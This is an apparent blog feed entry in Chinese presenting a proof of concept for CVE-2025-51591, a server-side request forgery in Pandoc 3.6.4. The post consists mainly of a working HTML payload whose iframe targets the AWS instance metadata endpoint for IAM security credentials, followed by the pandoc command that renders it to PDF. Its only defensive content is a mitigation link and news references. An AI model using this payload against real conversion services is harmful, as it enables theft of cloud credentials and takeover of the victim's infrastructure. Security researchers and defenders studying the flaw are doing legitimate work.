https://blog.qife122.com/tags/pandoc/ Recent content in Pandoc on 办公AI智能小助手 Hugo zh-cn qife Sat, 27 Sep 2025 16:11:40 +0800 https://blog.qife122.com/p/cve-2025-51591-pandoc-ssrf%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E8%AF%A6%E8%A7%A3/ Sat, 27 Sep 2025 16:11:40 +0800 https://blog.qife122.com/p/cve-2025-51591-pandoc-ssrf%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E8%AF%A6%E8%A7%A3/ <h1 id="cve-2025-51591-pandoc-ssrf-poc">CVE-2025-51591 Pandoc SSRF POC</h1> <p>Pandoc v3.6.4中存在服务器端请求伪造漏洞，攻击者可通过注入特制iframe获取并破坏整个基础设施。</p> <h2 id="安装pandoc">安装Pandoc</h2> <ul> <li><a href="https://pandoc.org/installing.html">https://pandoc.org/installing.html</a></li> </ul> <h2 id="攻击载荷">攻击载荷</h2> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span><span class="lnt">9 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>CVE-2025-51591 Proof Of Concept<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;http://169.254.169.254/latest/meta-data/iam/security-credentials/&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">iframe</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><h2 id="使用pandoc将载荷转换为pdf">使用Pandoc将载荷转换为PDF</h2> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">pandoc</span> <span class="n">payload</span><span class="o">.</span><span class="n">html</span> <span class="o">-</span><span class="n">o</span> <span class="n">output1</span><span class="o">.</span><span class="n">pdf</span> </span></span></code></pre></td></tr></table> </div> </div><h2 id="缓解策略">缓解策略</h2> <ul> <li><a href="https://pandoc.org/MANUAL.html#a-note-on-security">https://pandoc.org/MANUAL.html#a-note-on-security</a></li> </ul> <h2 id="参考链接">参考链接</h2> <ul> <li><a href="https://thehackernews.com/2025/09/hackers-exploit-pandoc-cve-2025-51591.html">Hackers Exploit Pandoc CVE-2025-51591 to Target AWS IMDS and Steal EC2 IAM Credentials</a></li> <li><a href="https://www.wiz.io/blog/imds-anomaly-hunting-zero-day">IMDS Abused: Hunting Rare Behaviors to Uncover Exploits</a></li> </ul>